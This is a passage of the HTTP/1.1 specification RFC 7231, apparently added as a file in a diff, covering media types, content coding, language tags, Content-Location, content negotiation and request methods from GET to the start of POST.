+   The type/subtype MAY be followed by parameters in the form of
+   name=value pairs.
+
+     parameter      = token "=" ( token / quoted-string )
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                    [Page 8]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   The type, subtype, and parameter name tokens are case-insensitive.
+   Parameter values might or might not be case-sensitive, depending on
+   the semantics of the parameter name.  The presence or absence of a
+   parameter might be significant to the processing of a media-type,
+   depending on its definition within the media type registry.
+
+   A parameter value that matches the token production can be
+   transmitted either as a token or within a quoted-string.  The quoted
+   and unquoted values are equivalent.  For example, the following
+   examples are all equivalent, but the first is preferred for
+   consistency:
+
+     text/html;charset=utf-8
+     text/html;charset=UTF-8
+     Text/HTML;Charset="utf-8"
+     text/html; charset="utf-8"
+
+   Internet media types ought to be registered with IANA according to
+   the procedures defined in [BCP13].
+
+      Note: Unlike some similar constructs in other header fields, media
+      type parameters do not allow whitespace (even "bad" whitespace)
+      around the "=" character.
+
+3.1.1.2.  Charset
+
+   HTTP uses charset names to indicate or negotiate the character
+   encoding scheme of a textual representation [RFC6365].  A charset is
+   identified by a case-insensitive token.
+
+     charset = token
+
+   Charset names ought to be registered in the IANA "Character Sets"
+   registry (<http://www.iana.org/assignments/character-sets>) according
+   to the procedures defined in [RFC2978].
+
+3.1.1.3.  Canonicalization and Text Defaults
+
+   Internet media types are registered with a canonical form in order to
+   be interoperable among systems with varying native encoding formats.
+   Representations selected or transferred via HTTP ought to be in
+   canonical form, for many of the same reasons described by the
+   Multipurpose Internet Mail Extensions (MIME) [RFC2045].  However, the
+   performance characteristics of email deployments (i.e., store and
+   forward messages to peers) are significantly different from those
+   common to HTTP and the Web (server-based information services).
+   Furthermore, MIME's constraints for the sake of compatibility with
+   older mail transfer protocols do not apply to HTTP (see Appendix A).
+
+
+
+Fielding & Reschke           Standards Track                    [Page 9]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   MIME's canonical form requires that media subtypes of the "text" type
+   use CRLF as the text line break.  HTTP allows the transfer of text
+   media with plain CR or LF alone representing a line break, when such
+   line breaks are consistent for an entire representation.  An HTTP
+   sender MAY generate, and a recipient MUST be able to parse, line
+   breaks in text media that consist of CRLF, bare CR, or bare LF.  In
+   addition, text media in HTTP is not limited to charsets that use
+   octets 13 and 10 for CR and LF, respectively.  This flexibility
+   regarding line breaks applies only to text within a representation
+   that has been assigned a "text" media type; it does not apply to
+   "multipart" types or HTTP elements outside the payload body (e.g.,
+   header fields).
+
+   If a representation is encoded with a content-coding, the underlying
+   data ought to be in a form defined above prior to being encoded.
+
+3.1.1.4.  Multipart Types
+
+   MIME provides for a number of "multipart" types -- encapsulations of
+   one or more representations within a single message body.  All
+   multipart types share a common syntax, as defined in Section 5.1.1 of
+   [RFC2046], and include a boundary parameter as part of the media type
+   value.  The message body is itself a protocol element; a sender MUST
+   generate only CRLF to represent line breaks between body parts.
+
+   HTTP message framing does not use the multipart boundary as an
+   indicator of message body length, though it might be used by
+   implementations that generate or process the payload.  For example,
+   the "multipart/form-data" type is often used for carrying form data
+   in a request, as described in [RFC2388], and the "multipart/
+   byteranges" type is defined by this specification for use in some 206
+   (Partial Content) responses [RFC7233].
+
+3.1.1.5.  Content-Type
+
+   The "Content-Type" header field indicates the media type of the
+   associated representation: either the representation enclosed in the
+   message payload or the selected representation, as determined by the
+   message semantics.  The indicated media type defines both the data
+   format and how that data is intended to be processed by a recipient,
+   within the scope of the received message semantics, after any content
+   codings indicated by Content-Encoding are decoded.
+
+     Content-Type = media-type
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 10]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Media types are defined in Section 3.1.1.1.  An example of the field
+   is
+
+     Content-Type: text/html; charset=ISO-8859-4
+
+   A sender that generates a message containing a payload body SHOULD
+   generate a Content-Type header field in that message unless the
+   intended media type of the enclosed representation is unknown to the
+   sender.  If a Content-Type header field is not present, the recipient
+   MAY either assume a media type of "application/octet-stream"
+   ([RFC2046], Section 4.5.1) or examine the data to determine its type.
+
+   In practice, resource owners do not always properly configure their
+   origin server to provide the correct Content-Type for a given
+   representation, with the result that some clients will examine a
+   payload's content and override the specified type.  Clients that do
+   so risk drawing incorrect conclusions, which might expose additional
+   security risks (e.g., "privilege escalation").  Furthermore, it is
+   impossible to determine the sender's intent by examining the data
+   format: many data formats match multiple media types that differ only
+   in processing semantics.  Implementers are encouraged to provide a
+   means of disabling such "content sniffing" when it is used.
+
+3.1.2.  Encoding for Compression or Integrity
+
+3.1.2.1.  Content Codings
+
+   Content coding values indicate an encoding transformation that has
+   been or can be applied to a representation.  Content codings are
+   primarily used to allow a representation to be compressed or
+   otherwise usefully transformed without losing the identity of its
+   underlying media type and without loss of information.  Frequently,
+   the representation is stored in coded form, transmitted directly, and
+   only decoded by the final recipient.
+
+     content-coding   = token
+
+   All content-coding values are case-insensitive and ought to be
+   registered within the "HTTP Content Coding Registry", as defined in
+   Section 8.4.  They are used in the Accept-Encoding (Section 5.3.4)
+   and Content-Encoding (Section 3.1.2.2) header fields.
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 11]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   The following content-coding values are defined by this
+   specification:
+
+      compress (and x-compress): See Section 4.2.1 of [RFC7230].
+
+      deflate: See Section 4.2.2 of [RFC7230].
+
+      gzip (and x-gzip): See Section 4.2.3 of [RFC7230].
+
+3.1.2.2.  Content-Encoding
+
+   The "Content-Encoding" header field indicates what content codings
+   have been applied to the representation, beyond those inherent in the
+   media type, and thus what decoding mechanisms have to be applied in
+   order to obtain data in the media type referenced by the Content-Type
+   header field.  Content-Encoding is primarily used to allow a
+   representation's data to be compressed without losing the identity of
+   its underlying media type.
+
+     Content-Encoding = 1#content-coding
+
+   An example of its use is
+
+     Content-Encoding: gzip
+
+   If one or more encodings have been applied to a representation, the
+   sender that applied the encodings MUST generate a Content-Encoding
+   header field that lists the content codings in the order in which
+   they were applied.  Additional information about the encoding
+   parameters can be provided by other header fields not defined by this
+   specification.
+
+   Unlike Transfer-Encoding (Section 3.3.1 of [RFC7230]), the codings
+   listed in Content-Encoding are a characteristic of the
+   representation; the representation is defined in terms of the coded
+   form, and all other metadata about the representation is about the
+   coded form unless otherwise noted in the metadata definition.
+   Typically, the representation is only decoded just prior to rendering
+   or analogous usage.
+
+   If the media type includes an inherent encoding, such as a data
+   format that is always compressed, then that encoding would not be
+   restated in Content-Encoding even if it happens to be the same
+   algorithm as one of the content codings.  Such a content coding would
+   only be listed if, for some bizarre reason, it is applied a second
+   time to form the representation.  Likewise, an origin server might
+   choose to publish the same data as multiple representations that
+   differ only in whether the coding is defined as part of Content-Type
+
+
+
+Fielding & Reschke           Standards Track                   [Page 12]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   or Content-Encoding, since some user agents will behave differently
+   in their handling of each response (e.g., open a "Save as ..." dialog
+   instead of automatic decompression and rendering of content).
+
+   An origin server MAY respond with a status code of 415 (Unsupported
+   Media Type) if a representation in the request message has a content
+   coding that is not acceptable.
+
+3.1.3.  Audience Language
+
+3.1.3.1.  Language Tags
+
+   A language tag, as defined in [RFC5646], identifies a natural
+   language spoken, written, or otherwise conveyed by human beings for
+   communication of information to other human beings.  Computer
+   languages are explicitly excluded.
+
+   HTTP uses language tags within the Accept-Language and
+   Content-Language header fields.  Accept-Language uses the broader
+   language-range production defined in Section 5.3.5, whereas
+   Content-Language uses the language-tag production defined below.
+
+     language-tag = <Language-Tag, see [RFC5646], Section 2.1>
+
+   A language tag is a sequence of one or more case-insensitive subtags,
+   each separated by a hyphen character ("-", %x2D).  In most cases, a
+   language tag consists of a primary language subtag that identifies a
+   broad family of related languages (e.g., "en" = English), which is
+   optionally followed by a series of subtags that refine or narrow that
+   language's range (e.g., "en-CA" = the variety of English as
+   communicated in Canada).  Whitespace is not allowed within a language
+   tag.  Example tags include:
+
+     fr, en-US, es-419, az-Arab, x-pig-latin, man-Nkoo-GN
+
+   See [RFC5646] for further information.
+
+3.1.3.2.  Content-Language
+
+   The "Content-Language" header field describes the natural language(s)
+   of the intended audience for the representation.  Note that this
+   might not be equivalent to all the languages used within the
+   representation.
+
+     Content-Language = 1#language-tag
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 13]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Language tags are defined in Section 3.1.3.1.  The primary purpose of
+   Content-Language is to allow a user to identify and differentiate
+   representations according to the users' own preferred language.
+   Thus, if the content is intended only for a Danish-literate audience,
+   the appropriate field is
+
+     Content-Language: da
+
+   If no Content-Language is specified, the default is that the content
+   is intended for all language audiences.  This might mean that the
+   sender does not consider it to be specific to any natural language,
+   or that the sender does not know for which language it is intended.
+
+   Multiple languages MAY be listed for content that is intended for
+   multiple audiences.  For example, a rendition of the "Treaty of
+   Waitangi", presented simultaneously in the original Maori and English
+   versions, would call for
+
+     Content-Language: mi, en
+
+   However, just because multiple languages are present within a
+   representation does not mean that it is intended for multiple
+   linguistic audiences.  An example would be a beginner's language
+   primer, such as "A First Lesson in Latin", which is clearly intended
+   to be used by an English-literate audience.  In this case, the
+   Content-Language would properly only include "en".
+
+   Content-Language MAY be applied to any media type -- it is not
+   limited to textual documents.
+
+3.1.4.  Identification
+
+3.1.4.1.  Identifying a Representation
+
+   When a complete or partial representation is transferred in a message
+   payload, it is often desirable for the sender to supply, or the
+   recipient to determine, an identifier for a resource corresponding to
+   that representation.
+
+   For a request message:
+
+   o  If the request has a Content-Location header field, then the
+      sender asserts that the payload is a representation of the
+      resource identified by the Content-Location field-value.  However,
+      such an assertion cannot be trusted unless it can be verified by
+      other means (not defined by this specification).  The information
+      might still be useful for revision history links.
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 14]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   o  Otherwise, the payload is unidentified.
+
+   For a response message, the following rules are applied in order
+   until a match is found:
+
+   1.  If the request method is GET or HEAD and the response status code
+       is 200 (OK), 204 (No Content), 206 (Partial Content), or 304 (Not
+       Modified), the payload is a representation of the resource
+       identified by the effective request URI (Section 5.5 of
+       [RFC7230]).
+
+   2.  If the request method is GET or HEAD and the response status code
+       is 203 (Non-Authoritative Information), the payload is a
+       potentially modified or enhanced representation of the target
+       resource as provided by an intermediary.
+
+   3.  If the response has a Content-Location header field and its
+       field-value is a reference to the same URI as the effective
+       request URI, the payload is a representation of the resource
+       identified by the effective request URI.
+
+   4.  If the response has a Content-Location header field and its
+       field-value is a reference to a URI different from the effective
+       request URI, then the sender asserts that the payload is a
+       representation of the resource identified by the Content-Location
+       field-value.  However, such an assertion cannot be trusted unless
+       it can be verified by other means (not defined by this
+       specification).
+
+   5.  Otherwise, the payload is unidentified.
+
+3.1.4.2.  Content-Location
+
+   The "Content-Location" header field references a URI that can be used
+   as an identifier for a specific resource corresponding to the
+   representation in this message's payload.  In other words, if one
+   were to perform a GET request on this URI at the time of this
+   message's generation, then a 200 (OK) response would contain the same
+   representation that is enclosed as payload in this message.
+
+     Content-Location = absolute-URI / partial-URI
+
+   The Content-Location value is not a replacement for the effective
+   Request URI (Section 5.5 of [RFC7230]).  It is representation
+   metadata.  It has the same syntax and semantics as the header field
+   of the same name defined for MIME body parts in Section 4 of
+   [RFC2557].  However, its appearance in an HTTP message has some
+   special implications for HTTP recipients.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 15]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   If Content-Location is included in a 2xx (Successful) response
+   message and its value refers (after conversion to absolute form) to a
+   URI that is the same as the effective request URI, then the recipient
+   MAY consider the payload to be a current representation of that
+   resource at the time indicated by the message origination date.  For
+   a GET (Section 4.3.1) or HEAD (Section 4.3.2) request, this is the
+   same as the default semantics when no Content-Location is provided by
+   the server.  For a state-changing request like PUT (Section 4.3.4) or
+   POST (Section 4.3.3), it implies that the server's response contains
+   the new representation of that resource, thereby distinguishing it
+   from representations that might only report about the action (e.g.,
+   "It worked!").  This allows authoring applications to update their
+   local copies without the need for a subsequent GET request.
+
+   If Content-Location is included in a 2xx (Successful) response
+   message and its field-value refers to a URI that differs from the
+   effective request URI, then the origin server claims that the URI is
+   an identifier for a different resource corresponding to the enclosed
+   representation.  Such a claim can only be trusted if both identifiers
+   share the same resource owner, which cannot be programmatically
+   determined via HTTP.
+
+   o  For a response to a GET or HEAD request, this is an indication
+      that the effective request URI refers to a resource that is
+      subject to content negotiation and the Content-Location
+      field-value is a more specific identifier for the selected
+      representation.
+
+   o  For a 201 (Created) response to a state-changing method, a
+      Content-Location field-value that is identical to the Location
+      field-value indicates that this payload is a current
+      representation of the newly created resource.
+
+   o  Otherwise, such a Content-Location indicates that this payload is
+      a representation reporting on the requested action's status and
+      that the same report is available (for future access with GET) at
+      the given URI.  For example, a purchase transaction made via a
+      POST request might include a receipt document as the payload of
+      the 200 (OK) response; the Content-Location field-value provides
+      an identifier for retrieving a copy of that same receipt in the
+      future.
+
+   A user agent that sends Content-Location in a request message is
+   stating that its value refers to where the user agent originally
+   obtained the content of the enclosed representation (prior to any
+   modifications made by that user agent).  In other words, the user
+   agent is providing a back link to the source of the original
+   representation.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 16]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   An origin server that receives a Content-Location field in a request
+   message MUST treat the information as transitory request context
+   rather than as metadata to be saved verbatim as part of the
+   representation.  An origin server MAY use that context to guide in
+   processing the request or to save it for other uses, such as within
+   source links or versioning metadata.  However, an origin server MUST
+   NOT use such context information to alter the request semantics.
+
+   For example, if a client makes a PUT request on a negotiated resource
+   and the origin server accepts that PUT (without redirection), then
+   the new state of that resource is expected to be consistent with the
+   one representation supplied in that PUT; the Content-Location cannot
+   be used as a form of reverse content selection identifier to update
+   only one of the negotiated representations.  If the user agent had
+   wanted the latter semantics, it would have applied the PUT directly
+   to the Content-Location URI.
+
+3.2.  Representation Data
+
+   The representation data associated with an HTTP message is either
+   provided as the payload body of the message or referred to by the
+   message semantics and the effective request URI.  The representation
+   data is in a format and encoding defined by the representation
+   metadata header fields.
+
+   The data type of the representation data is determined via the header
+   fields Content-Type and Content-Encoding.  These define a two-layer,
+   ordered encoding model:
+
+     representation-data := Content-Encoding( Content-Type( bits ) )
+
+3.3.  Payload Semantics
+
+   Some HTTP messages transfer a complete or partial representation as
+   the message "payload".  In some cases, a payload might contain only
+   the associated representation's header fields (e.g., responses to
+   HEAD) or only some part(s) of the representation data (e.g., the 206
+   (Partial Content) status code).
+
+   The purpose of a payload in a request is defined by the method
+   semantics.  For example, a representation in the payload of a PUT
+   request (Section 4.3.4) represents the desired state of the target
+   resource if the request is successfully applied, whereas a
+   representation in the payload of a POST request (Section 4.3.3)
+   represents information to be processed by the target resource.
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 17]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   In a response, the payload's purpose is defined by both the request
+   method and the response status code.  For example, the payload of a
+   200 (OK) response to GET (Section 4.3.1) represents the current state
+   of the target resource, as observed at the time of the message
+   origination date (Section 7.1.1.2), whereas the payload of the same
+   status code in a response to POST might represent either the
+   processing result or the new state of the target resource after
+   applying the processing.  Response messages with an error status code
+   usually contain a payload that represents the error condition, such
+   that it describes the error state and what next steps are suggested
+   for resolving it.
+
+   Header fields that specifically describe the payload, rather than the
+   associated representation, are referred to as "payload header
+   fields".  Payload header fields are defined in other parts of this
+   specification, due to their impact on message parsing.
+
+   +-------------------+----------------------------+
+   | Header Field Name | Defined in...              |
+   +-------------------+----------------------------+
+   | Content-Length    | Section 3.3.2 of [RFC7230] |
+   | Content-Range     | Section 4.2 of [RFC7233]   |
+   | Trailer           | Section 4.4 of [RFC7230]   |
+   | Transfer-Encoding | Section 3.3.1 of [RFC7230] |
+   +-------------------+----------------------------+
+
+3.4.  Content Negotiation
+
+   When responses convey payload information, whether indicating a
+   success or an error, the origin server often has different ways of
+   representing that information; for example, in different formats,
+   languages, or encodings.  Likewise, different users or user agents
+   might have differing capabilities, characteristics, or preferences
+   that could influence which representation, among those available,
+   would be best to deliver.  For this reason, HTTP provides mechanisms
+   for content negotiation.
+
+   This specification defines two patterns of content negotiation that
+   can be made visible within the protocol: "proactive", where the
+   server selects the representation based upon the user agent's stated
+   preferences, and "reactive" negotiation, where the server provides a
+   list of representations for the user agent to choose from.  Other
+   patterns of content negotiation include "conditional content", where
+   the representation consists of multiple parts that are selectively
+   rendered based on user agent parameters, "active content", where the
+   representation contains a script that makes additional (more
+   specific) requests based on the user agent characteristics, and
+   "Transparent Content Negotiation" ([RFC2295]), where content
+
+
+
+Fielding & Reschke           Standards Track                   [Page 18]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   selection is performed by an intermediary.  These patterns are not
+   mutually exclusive, and each has trade-offs in applicability and
+   practicality.
+
+   Note that, in all cases, HTTP is not aware of the resource semantics.
+   The consistency with which an origin server responds to requests,
+   over time and over the varying dimensions of content negotiation, and
+   thus the "sameness" of a resource's observed representations over
+   time, is determined entirely by whatever entity or algorithm selects
+   or generates those responses.  HTTP pays no attention to the man
+   behind the curtain.
+
+3.4.1.  Proactive Negotiation
+
+   When content negotiation preferences are sent by the user agent in a
+   request to encourage an algorithm located at the server to select the
+   preferred representation, it is called proactive negotiation (a.k.a.,
+   server-driven negotiation).  Selection is based on the available
+   representations for a response (the dimensions over which it might
+   vary, such as language, content-coding, etc.) compared to various
+   information supplied in the request, including both the explicit
+   negotiation fields of Section 5.3 and implicit characteristics, such
+   as the client's network address or parts of the User-Agent field.
+
+   Proactive negotiation is advantageous when the algorithm for
+   selecting from among the available representations is difficult to
+   describe to a user agent, or when the server desires to send its
+   "best guess" to the user agent along with the first response (hoping
+   to avoid the round trip delay of a subsequent request if the "best
+   guess" is good enough for the user).  In order to improve the
+   server's guess, a user agent MAY send request header fields that
+   describe its preferences.
+
+   Proactive negotiation has serious disadvantages:
+
+   o  It is impossible for the server to accurately determine what might
+      be "best" for any given user, since that would require complete
+      knowledge of both the capabilities of the user agent and the
+      intended use for the response (e.g., does the user want to view it
+      on screen or print it on paper?);
+
+   o  Having the user agent describe its capabilities in every request
+      can be both very inefficient (given that only a small percentage
+      of responses have multiple representations) and a potential risk
+      to the user's privacy;
+
+   o  It complicates the implementation of an origin server and the
+      algorithms for generating responses to a request; and,
+
+
+
+Fielding & Reschke           Standards Track                   [Page 19]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   o  It limits the reusability of responses for shared caching.
+
+   A user agent cannot rely on proactive negotiation preferences being
+   consistently honored, since the origin server might not implement
+   proactive negotiation for the requested resource or might decide that
+   sending a response that doesn't conform to the user agent's
+   preferences is better than sending a 406 (Not Acceptable) response.
+
+   A Vary header field (Section 7.1.4) is often sent in a response
+   subject to proactive negotiation to indicate what parts of the
+   request information were used in the selection algorithm.
+
+3.4.2.  Reactive Negotiation
+
+   With reactive negotiation (a.k.a., agent-driven negotiation),
+   selection of the best response representation (regardless of the
+   status code) is performed by the user agent after receiving an
+   initial response from the origin server that contains a list of
+   resources for alternative representations.  If the user agent is not
+   satisfied by the initial response representation, it can perform a
+   GET request on one or more of the alternative resources, selected
+   based on metadata included in the list, to obtain a different form of
+   representation for that response.  Selection of alternatives might be
+   performed automatically by the user agent or manually by the user
+   selecting from a generated (possibly hypertext) menu.
+
+   Note that the above refers to representations of the response, in
+   general, not representations of the resource.  The alternative
+   representations are only considered representations of the target
+   resource if the response in which those alternatives are provided has
+   the semantics of being a representation of the target resource (e.g.,
+   a 200 (OK) response to a GET request) or has the semantics of
+   providing links to alternative representations for the target
+   resource (e.g., a 300 (Multiple Choices) response to a GET request).
+
+   A server might choose not to send an initial representation, other
+   than the list of alternatives, and thereby indicate that reactive
+   negotiation by the user agent is preferred.  For example, the
+   alternatives listed in responses with the 300 (Multiple Choices) and
+   406 (Not Acceptable) status codes include information about the
+   available representations so that the user or user agent can react by
+   making a selection.
+
+   Reactive negotiation is advantageous when the response would vary
+   over commonly used dimensions (such as type, language, or encoding),
+   when the origin server is unable to determine a user agent's
+   capabilities from examining the request, and generally when public
+   caches are used to distribute server load and reduce network usage.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 20]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Reactive negotiation suffers from the disadvantages of transmitting a
+   list of alternatives to the user agent, which degrades user-perceived
+   latency if transmitted in the header section, and needing a second
+   request to obtain an alternate representation.  Furthermore, this
+   specification does not define a mechanism for supporting automatic
+   selection, though it does not prevent such a mechanism from being
+   developed as an extension.
+
+4.  Request Methods
+
+4.1.  Overview
+
+   The request method token is the primary source of request semantics;
+   it indicates the purpose for which the client has made this request
+   and what is expected by the client as a successful result.
+
+   The request method's semantics might be further specialized by the
+   semantics of some header fields when present in a request (Section 5)
+   if those additional semantics do not conflict with the method.  For
+   example, a client can send conditional request header fields
+   (Section 5.2) to make the requested action conditional on the current
+   state of the target resource ([RFC7232]).
+
+     method = token
+
+   HTTP was originally designed to be usable as an interface to
+   distributed object systems.  The request method was envisioned as
+   applying semantics to a target resource in much the same way as
+   invoking a defined method on an identified object would apply
+   semantics.  The method token is case-sensitive because it might be
+   used as a gateway to object-based systems with case-sensitive method
+   names.
+
+   Unlike distributed objects, the standardized request methods in HTTP
+   are not resource-specific, since uniform interfaces provide for
+   better visibility and reuse in network-based systems [REST].  Once
+   defined, a standardized method ought to have the same semantics when
+   applied to any resource, though each resource determines for itself
+   whether those semantics are implemented or allowed.
+
+   This specification defines a number of standardized methods that are
+   commonly used in HTTP, as outlined by the following table.  By
+   convention, standardized methods are defined in all-uppercase
+   US-ASCII letters.
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 21]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   +---------+-------------------------------------------------+-------+
+   | Method  | Description                                     | Sec.  |
+   +---------+-------------------------------------------------+-------+
+   | GET     | Transfer a current representation of the target | 4.3.1 |
+   |         | resource.                                       |       |
+   | HEAD    | Same as GET, but only transfer the status line  | 4.3.2 |
+   |         | and header section.                             |       |
+   | POST    | Perform resource-specific processing on the     | 4.3.3 |
+   |         | request payload.                                |       |
+   | PUT     | Replace all current representations of the      | 4.3.4 |
+   |         | target resource with the request payload.       |       |
+   | DELETE  | Remove all current representations of the       | 4.3.5 |
+   |         | target resource.                                |       |
+   | CONNECT | Establish a tunnel to the server identified by  | 4.3.6 |
+   |         | the target resource.                            |       |
+   | OPTIONS | Describe the communication options for the      | 4.3.7 |
+   |         | target resource.                                |       |
+   | TRACE   | Perform a message loop-back test along the path | 4.3.8 |
+   |         | to the target resource.                         |       |
+   +---------+-------------------------------------------------+-------+
+
+   All general-purpose servers MUST support the methods GET and HEAD.
+   All other methods are OPTIONAL.
+
+   Additional methods, outside the scope of this specification, have
+   been standardized for use in HTTP.  All such methods ought to be
+   registered within the "Hypertext Transfer Protocol (HTTP) Method
+   Registry" maintained by IANA, as defined in Section 8.1.
+
+   The set of methods allowed by a target resource can be listed in an
+   Allow header field (Section 7.4.1).  However, the set of allowed
+   methods can change dynamically.  When a request method is received
+   that is unrecognized or not implemented by an origin server, the
+   origin server SHOULD respond with the 501 (Not Implemented) status
+   code.  When a request method is received that is known by an origin
+   server but not allowed for the target resource, the origin server
+   SHOULD respond with the 405 (Method Not Allowed) status code.
+
+4.2.  Common Method Properties
+
+4.2.1.  Safe Methods
+
+   Request methods are considered "safe" if their defined semantics are
+   essentially read-only; i.e., the client does not request, and does
+   not expect, any state change on the origin server as a result of
+   applying a safe method to a target resource.  Likewise, reasonable
+   use of a safe method is not expected to cause any harm, loss of
+   property, or unusual burden on the origin server.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 22]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   This definition of safe methods does not prevent an implementation
+   from including behavior that is potentially harmful, that is not
+   entirely read-only, or that causes side effects while invoking a safe
+   method.  What is important, however, is that the client did not
+   request that additional behavior and cannot be held accountable for
+   it.  For example, most servers append request information to access
+   log files at the completion of every response, regardless of the
+   method, and that is considered safe even though the log storage might
+   become full and crash the server.  Likewise, a safe request initiated
+   by selecting an advertisement on the Web will often have the side
+   effect of charging an advertising account.
+
+   Of the request methods defined by this specification, the GET, HEAD,
+   OPTIONS, and TRACE methods are defined to be safe.
+
+   The purpose of distinguishing between safe and unsafe methods is to
+   allow automated retrieval processes (spiders) and cache performance
+   optimization (pre-fetching) to work without fear of causing harm.  In
+   addition, it allows a user agent to apply appropriate constraints on
+   the automated use of unsafe methods when processing potentially
+   untrusted content.
+
+   A user agent SHOULD distinguish between safe and unsafe methods when
+   presenting potential actions to a user, such that the user can be
+   made aware of an unsafe action before it is requested.
+
+   When a resource is constructed such that parameters within the
+   effective request URI have the effect of selecting an action, it is
+   the resource owner's responsibility to ensure that the action is
+   consistent with the request method semantics.  For example, it is
+   common for Web-based content editing software to use actions within
+   query parameters, such as "page?do=delete".  If the purpose of such a
+   resource is to perform an unsafe action, then the resource owner MUST
+   disable or disallow that action when it is accessed using a safe
+   request method.  Failure to do so will result in unfortunate side
+   effects when automated processes perform a GET on every URI reference
+   for the sake of link maintenance, pre-fetching, building a search
+   index, etc.
+
+4.2.2.  Idempotent Methods
+
+   A request method is considered "idempotent" if the intended effect on
+   the server of multiple identical requests with that method is the
+   same as the effect for a single such request.  Of the request methods
+   defined by this specification, PUT, DELETE, and safe request methods
+   are idempotent.
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 23]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   Like the definition of safe, the idempotent property only applies to
+   what has been requested by the user; a server is free to log each
+   request separately, retain a revision control history, or implement
+   other non-idempotent side effects for each idempotent request.
+
+   Idempotent methods are distinguished because the request can be
+   repeated automatically if a communication failure occurs before the
+   client is able to read the server's response.  For example, if a
+   client sends a PUT request and the underlying connection is closed
+   before any response is received, then the client can establish a new
+   connection and retry the idempotent request.  It knows that repeating
+   the request will have the same intended effect, even if the original
+   request succeeded, though the response might differ.
+
+4.2.3.  Cacheable Methods
+
+   Request methods can be defined as "cacheable" to indicate that
+   responses to them are allowed to be stored for future reuse; for
+   specific requirements see [RFC7234].  In general, safe methods that
+   do not depend on a current or authoritative response are defined as
+   cacheable; this specification defines GET, HEAD, and POST as
+   cacheable, although the overwhelming majority of cache
+   implementations only support GET and HEAD.
+
+4.3.  Method Definitions
+
+4.3.1.  GET
+
+   The GET method requests transfer of a current selected representation
+   for the target resource.  GET is the primary mechanism of information
+   retrieval and the focus of almost all performance optimizations.
+   Hence, when people speak of retrieving some identifiable information
+   via HTTP, they are generally referring to making a GET request.
+
+   It is tempting to think of resource identifiers as remote file system
+   pathnames and of representations as being a copy of the contents of
+   such files.  In fact, that is how many resources are implemented (see
+   Section 9.1 for related security considerations).  However, there are
+   no such limitations in practice.  The HTTP interface for a resource
+   is just as likely to be implemented as a tree of content objects, a
+   programmatic view on various database records, or a gateway to other
+   information systems.  Even when the URI mapping mechanism is tied to
+   a file system, an origin server might be configured to execute the
+   files with the request as input and send the output as the
+   representation rather than transfer the files directly.  Regardless,
+   only the origin server needs to know how each of its resource
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 24]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   identifiers corresponds to an implementation and how each
+   implementation manages to select and send a current representation of
+   the target resource in a response to GET.
+
+   A client can alter the semantics of GET to be a "range request",
+   requesting transfer of only some part(s) of the selected
+   representation, by sending a Range header field in the request
+   ([RFC7233]).
+
+   A payload within a GET request message has no defined semantics;
+   sending a payload body on a GET request might cause some existing
+   implementations to reject the request.
+
+   The response to a GET request is cacheable; a cache MAY use it to
+   satisfy subsequent GET and HEAD requests unless otherwise indicated
+   by the Cache-Control header field (Section 5.2 of [RFC7234]).
+
+4.3.2.  HEAD
+
+   The HEAD method is identical to GET except that the server MUST NOT
+   send a message body in the response (i.e., the response terminates at
+   the end of the header section).  The server SHOULD send the same
+   header fields in response to a HEAD request as it would have sent if
+   the request had been a GET, except that the payload header fields
+   (Section 3.3) MAY be omitted.  This method can be used for obtaining
+   metadata about the selected representation without transferring the
+   representation data and is often used for testing hypertext links for
+   validity, accessibility, and recent modification.
+
+   A payload within a HEAD request message has no defined semantics;
+   sending a payload body on a HEAD request might cause some existing
+   implementations to reject the request.
+
+   The response to a HEAD request is cacheable; a cache MAY use it to
+   satisfy subsequent HEAD requests unless otherwise indicated by the
+   Cache-Control header field (Section 5.2 of [RFC7234]).  A HEAD
+   response might also have an effect on previously cached responses to
+   GET; see Section 4.3.5 of [RFC7234].
+
+4.3.3.  POST
+
+   The POST method requests that the target resource process the
+   representation enclosed in the request according to the resource's
+   own specific semantics.  For example, POST is used for the following
+   functions (among others):
+
+   o  Providing a block of data, such as the fields entered into an HTML
+      form, to a data-handling process;
+
+
+
+Fielding & Reschke           Standards Track                   [Page 25]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   o  Posting a message to a bulletin board, newsgroup, mailing list,
